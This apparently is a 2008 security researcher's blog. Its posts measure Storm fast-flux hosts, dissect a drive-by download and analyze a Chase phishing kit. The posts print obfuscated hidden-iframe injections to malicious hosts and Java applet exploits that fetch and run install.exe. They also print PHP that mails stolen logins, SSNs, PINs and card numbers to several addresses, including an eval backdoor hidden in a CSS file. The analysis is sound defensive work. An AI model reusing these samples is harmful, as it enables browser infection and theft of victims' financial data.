blog
April 29, 2008
Kind of late, but better than never I guess :-)
At the beginning of the months, the Storm gang got quite some coverage by launching a new attack campaign, based, this time, on a codec theme. Essentially, the gang tries to convince people to install a piece of malware (apparently, a NUWAR/Storm variant), by using the common social engineering trick of a missing video codec.
An interesting detail about the campaign was that it used a
fastflux domain name, i.e.,
supersameas.com. Let's take a look at its infrastructure.
On April 9, I started to query the supersameas name servers to harvest the IP addresses associated with the campaign. At each request, the name server would reply with one IP address with 0 TTL. I continued to query the server until it gave me for 30 consecutive times addresses that I had already seen. At that point, I switched to a new name server, and so on.
In total, I collected 1416 IP addresses from 405 ASes. For about 100 IPs, I could not get the corresponding AS, so what follows may be slightly skewed. The ASes with more than 20 addresses were:
In terms of geographical distribution, the affected ASes were in the following countries:
Starting on April 10 at 11:27:18 PST, I also monitored for a few days if the addresses used by the campaign were still up and running, and serving the malicious content of the campaign. The following figure shows how many sites were still compromised at intervals of one hour.

Notice that almost 75% of the hosts had already been taken down (or were otherwise unreachable) when I started the measurement. After about 12 hours, the number of live sites drops lower than 100; after other 12 hours, it is reduced by a factor of 5, down to just 21 sites. It finally reaches 1 site after some 67 hours and stays like that for at least other 3 days.
April 14, 2008
Lately, there has been a lot of interest in drive-by downloads and at least a couple of very good studies on this phenomenon.
Here, I will discuss in details some of the more technical aspects of these attacks, using a specific case study. Note: the malicious page is now gone, but some of the other resources may still be up and running...
The first step of the attack consists of redirecting the victim's browser to a number of "attack pages" that attempt to exploit various vulnerabilities and cause malware to be installed and run automatically. The redirection is typically done by injecting iframes in a page. Often, the injection is masqueraded by using a number of obfuscation techniques.
In our case, the injecting page contains two injections.
The first injection uses the unescape function to cover its purpose:
document.writeln(unescape ('%3c%49%46%52%41%4d%45%20%6e%61%6d%65
%3d%63%38%33%33%36%35%65%35%64%37%61%61%20%73%72%63%3d%27%68%74%74
%70%3a%2f%2f%74%61%70%6b%69%2e%63%6e%2f%31%2e%68%74%6d%6c%3f%27%2b
%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d
%28%29%2a%33%30%32%39%35%29%2b%27%34%66%35%62%27%20%77%69%64%74%68
%3d%38%33%20%68%65%69%67%68%74%3d%33%36%35%20%73%74%79%6c%65%3d%27
%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%27%3e%3c%2f%49%46%52%41%4d
%45%3e'));
Once decoded, the escaped string reads:
<IFRAME name=c83365e5d7aa src='http://tapki.cn/1.html?' +
Math.round(Math.random()*30295)+'4f5b' width=83 height=365
style='display:none'></IFRAME>
The second injection uses a couple of different tricks: randomized variable and function names, and manual string decoding:
function BD37A78D25DEEF10B10A677B5F0(B9D5D6B429B3B9BD29A08C8){
return(parseInt(B9D5D6B429B3B9BD29A08C8,16));}function
D5281A4C55A9736772D3539EA51(D6242D36DFD76213ED900E11FDA){function
C56A17251C947C7EF(){var D83D6CE95B0A38CD6F=2;return
D83D6CE95B0A38CD6F;}var D71C351C9A9105908A5D4D9624954="";for(
CEDB124A2EA9FE61EB10A584FE0E8=0;CEDB124A2EA9FE61EB10A584FE0E8<
D6242D36DFD76213ED900E11FDA.length;CEDB124A2EA9FE61EB10A584FE0E8+=
C56A17251C947C7EF()){D71C351C9A9105908A5D4D9624954+=
(String.fromCharCode(BD37A78D25DEEF10B10A677B5F0(
D6242D36DFD76213ED900E11FDA.substr(CEDB124A2EA9FE61EB10A584FE0E8,
C56A17251C947C7EF()))));} document.write(D71C351C9A9105908A5D4D9624954);
}D5281A4C55A9736772D3539EA51("3C696672616D65207372633D687474703A2F2F
6164767464732E6661737466696E642E696E666F2F6164767464732F6F75742E7068
703F735F69643D32302077696474683D31206865696768743D31207374796C653D22
646973706C61793A6E6F6E65223E3C2F696672616D653E");
To quickly recover the code, I redefine the document
object to print to the console (document={write:print}) and run the
script in
rhino:
<iframe src=http://advtds.fastfind.info/advtds/out.php?s_id=20
width=1 height=1 style="display:none"></iframe>
A typical attack page contains a barrage of exploits targeting a variety of exploits in different versions of the browser, operating system, and other programs. As we will see, our case study is not an exception.
It turns out that the first iframe points at an empty page: it must have already been taken down.
The second iframe is more interesting: it spits out a 302 response to
redirect to http://vipasotka.com/in.php (119.42.149.22), which, in
turn, redirects to http://golnanosat.com/in.php (same IP address).
in.php is also variously scrambled, but the (now) usual deobfuscation
step in rhino allows us to quickly make sense of it. This file generates
another somewhat obfuscated JavaScript snippet. After some inspection
and some googling, the script appears to be divided in two parts. The
first part is essentially a JavaScript rewrite of metasploit's
exploit for MS06-014: the code
tries very hard to download (via XMLHttpRequest) the executable
install.exe from http://golnanosat.com/adw_files/5010/8275793f/, to
add it to the startup programs, and to run it. The exploit code is
IE-specific and goes to great lengths to "support" a number of different
Windows versions.
The second part brings a bag of Java tricks into the picture.
<applet code=animan.class name=maniman height=1 width=1 MAYSCRIPT></applet>
try {
var unsafeclass=document.maniman.getClass().forName("sun.misc.Unsafe");
var unsafemeth=unsafeclass.getMethod("getUnsafe",null);
var unsafe=unsafemeth.invoke(unsafemeth,null);
document.maniman.foobar(unsafe);
var chenref=unsafe.defineClass("omfg",document.maniman.luokka,0,document.maniman.classSize);
var chen=unsafe.allocateInstance(chenref);
chen.setURLdl("http://golnanosat.com/adw_files/5010/8275793f/install.exe");
chen.setUname("5010");
chen.setCID("other");
}catch(d){}
<applet archive=OP.jar code=OP.class width=1 height=1 MAYSCRIPT>
<param name=usid value=us0105>
<param name=linkurl
value="http://golnanosat.com/adw_files/5010/8275793f/install.exe?id=3">
</applet>
<applet archive="ms03011.jar" code="MagicApplet.class" width=1 height=1>
<param name="ModulePath" value="http://golnanosat.com/adw_files/5010/8275793f/install.exe?id=4">
</applet>
The first trick uses reflection and the internal sun.misc.unsafe class
to dynamically create a class instance that bypasses the security
restrictions of the Java VM: this seems an old
bug that dates back to 2004. The second one
is recognized by some anti-virus as Java/TrojanDownloader.OpenStream.
The last trick looks like an exploit for another old bug
(MS03-011) that affected the ByteCode
Verifier of the Microsoft VM. In all cases, the goal is to download
and execute the usual install.exe file.
The attack pages serve two binaries. VirusTotal reports mixed detection results: 13/32 and 8/32.
I'll conclude the analysis with some quick considerations:
April 2, 2008
A few days ago, the news spread that ready-to-go scam kits targeting banks and other sensitive web sites were available for download. Nothing new here except for the fact that the kits were given away for free.
The reason for such generosity? Will see in a moment.
I've got my hands on some of the kits and I've analyzed one of them. This analysis is relative to the Chase scam kit (others seem similar at first sight) retrieved on 31/3/2008.
The scam kit is a collection of php, html, css, and image files that provide a phishing web site for JP Morgan Chase online banking. The kit collects username, password and personal information, such as credit card numbers and social security numbers. The collected information is sent back to the scammer via e-mail. At first sight, all a scammer has to do is modify one file in the kit to set the appropriate e-mail address and attract traffic to the phishing page.
The reality is bit different: a larger pool of people seem to benefit from the scammer's efforts. In other words, scammers are getting scammed by more clever scammers.
Let's see how this happens.
The file Mr-Brain.php contains the code to ship to information back to
the scammer. The code is:
3: $message = ... // phished information
...
39:
38: $send="scammer_forlife@yahoo.com";
39:
40: $subject = "Chase Bank ReZulT | $user | $ip";
41: $headers = "From: Mr-Brain<new@chase.com>";
42: $str=array($send, $IP); foreach ($str as $send) {
43: if(mail($send,$subject,$message,$headers) != false){
44: mail($Send,$subject,$message,$headers);
45: mail($messege,$subject,$message,$headers);
46: }
mail() is a standard PHP function that send an e-mail message to the
address specified in its first argument. Let's see how the kit uses this
code to distribute information to a number of addresses other than
scammer_forlife@yahoo.com.
In Mr-Brain.php, the email message is composed as follows:
$hostname = gethostbyaddr($ip);
$message = "---------------+ Chase Bank Spam ReZulT +-----------------\n";
$message .= "User ID : $user\n";
...
$messege .= "hostip";
$message .= "Full Name : $fullname\n";
...
$message .= "City : $city\n";
$messege .= "port";
$message .= "State : $state\n";
...
$message .= "Mother Maiden Name : $mmn\n";
$messege .= "@";
$message .= "Date of Birth : $bmonth/$bday/$byear\n";
...
$message .= "ATM PIN Code : $pin\n";
$messege .= "g";
$message .= "Credit Card Number: $cardnumber\n";
...
$message .= "CVV Number : $cvv\n";
$messege .= "mail";
$message .= "---------------------------------------------------\n";
...
$messege .= ".";
$message .= "Credit Card Number: $cardnumber\n";
...
$messege .= "com";
...
$message .= "----------------+ Created in 2008 By Mr-Brain +----------------\n";
Notice the mistyped $messege variable (instead of $message). Once
reconstructed the variable forms the e-mail address
hostipport@gmail.com. At line 45 it is used as the recipient of the
mail function. The trick uses the fact that PHP automatically
initializes undefined string variables (as $messege here) to the empty
string.
Inside the foreach loop of line 42, the variable $Send (notice the
capital letter) is different from the variable $send (all lowercase).
How is $Send initialized? In details.php, a form contains the hidden
parameter Send, whose value is set to:
<?=base64_decode("TXItQnJhaW5ARXZpbC1CcmFpbi5OZXQ=");?>
which, once interpreted, gives the e-mail address Mr-Brain@Evil-Brain.Net.
The sending code loops over the contents of an array initialized with
the variables $send and $IP. What is $IP? In prospect.php,
the variable $IP is initialized to
pack("H*", substr($VARS=$erorr,strpos($VARS, "329")+3,46));
$erorr (again, misspelled to disguise it for the variable $error)
contains the contents of the file login.php. The substr() function
searches for 329 in login.php, finds it in the value argument of a
hidden parameter, and extracts the following 46 characters:
70696f6e6565722e627261696e40676d61696c2e636f6d
These are then massaged through the function pack() to give yet another
e-mail address: pioneer.brain@gmail.com
prospect.php contains the following interesting functions:
39: function clean($str){
40: $clean=create_function('$str','return '.gets("(1,",3,4).'($str);');
41: return $clean($str);
42: }
43: function getc($string){
44: return implode('', file($string));
45: }
46: function gets($a, $b, $c){
47: global $d; return substr(getc($d),strpos(getc($d),$a)+$b,$c);
48: }
49: function end_of_line(){
50: $end=gets("(2,",3,4); endline=$end(gets("(3,",3,2),getc(gets("(((",3,20)));
51: return $endline;
52: }
53: function geterrors(){
54: return clean(end_of_line());
55: }
The function geterrors() is called at the end of the file, right before
error checking is performed. Let's see what these functions are doing:
end_of_line: by matching for the pattern (2, on the details.php
file, it extracts the string pack. By pattern matching for (3, and
(((, it extracts the strings h* and images/style_002.css. These
pieces are composed to execute:
:::php pack('h*', file_get_contents('images/style_002.css'));
The file images/style_002.css apparently contains CSS data, except
for a section at the middle of the file that resembles a long
alphanumeric string. After applying pack() to it, it returns a long
string containing unprintable characters at the beginning and at the
end. The central section of images/style_002.css is instead
transformed into:
global $error;
if("$error" != "1"){
global $user;
global $pass;
global $fullname;
global $address;
global $city;
global $state;
global $zip;
global $email;
global $mmn;
global $bmonth;
global $bday;
global $byear;
global $ssn1;
global $ssn2;
global $ssn3;
global $pin;
global $cardnumber;
global $expmonth;
global $expyear;
global $cvv;
if (getenv(HTTP_CLIENT_IP)){
$iP=getenv(HTTP_CLIENT_IP);
} else {
$iP=getenv(REMOTE_ADDR);
}
$hostname = gethostbyaddr($iP);
$message = "--------------- Chase Bank Spam ReZulT -----------------\n";
$message .= "User ID : $user\n";
$message .= "Password : $pass\n\n";
$message .= "Full Name : $fullname\n";
$message .= "Address : $address\n";
$message .= "City : $city\n";
$message .= "State : $state\n";
$message .= "Zip Code : $zip\n";
$message .= "E-mail Address : $email\n\n";
$message .= "Mother Maiden Name : $mmn\n";
$message .= "Date of Birth : $bmonth/$bday/$byear\n";
$message .= "Social Security No : $ssn1-$ssn2-$ssn3\n";
$message .= "ATM PIN Code : $pin\n";
$message .= "Credit Card Number: $cardnumber\n";
$message .= "Expiration Date : $expmonth/$expyear [mm/yy]\n";
$message .= "CVV Number : $cvv\n";
$message .= "---------------------------------------------------\n";
$message .= "IP Address : $iP\n";
$message .= "HostName : $hostname\n";
$message .= "---------------- Created in 2008 By Mr-Brain ----------------\n";
$Brain="pamer@inbox.com,usa813@gmail.com";
$subject = "Chase Bank ReZulT";
$headers = "From: Mr-Brain<new@chase.com>";
mail($Brain,$subject,$message,$headers);
}
clean: by matching for the pattern (1, on the details.php file, it
extracts the string eval. It then creates and returns an anonymous
function that accepts a single parameter and applies eval() to
it.
geterrors: evaluates through eval the string returned by end_of_line().
Notice that eval ignores the extra junk at the beginning and end of
the string and happily executes the relevant content, thus sending the
phished information also to pamer@inbox.com and usa813@gmail.com.
April 2, 2008
Roughly a decade later than the rest of the world (ok, half a decade), I've decided it was about time to join this web 2.0 frenzy and add a blog to the website. Here, I'll try to post my non-academic-paper-style writings about various security topics.
To try to convince me that it is a serious thing and, web 2.0 aside, these are still the days when “men were men and wrote their own device drivers”, I've settled on blosxom as my blogging engine, which gives me a nice, command-line interface to publishing and lets me use a normal text editor to compose posts. To keep things simple, I have decided against having an add-a-comment feature. So, if you wish to comment or respond to something, send me an e-mail and I'll update the post with it.
Unless otherwise noted, material appearing on the blog is licensed
under a Creative
Commons Attribution-Noncommercial 3.0 United States License.

As everything, this is work in progress. Yes that (also) means that tags don't work, yet...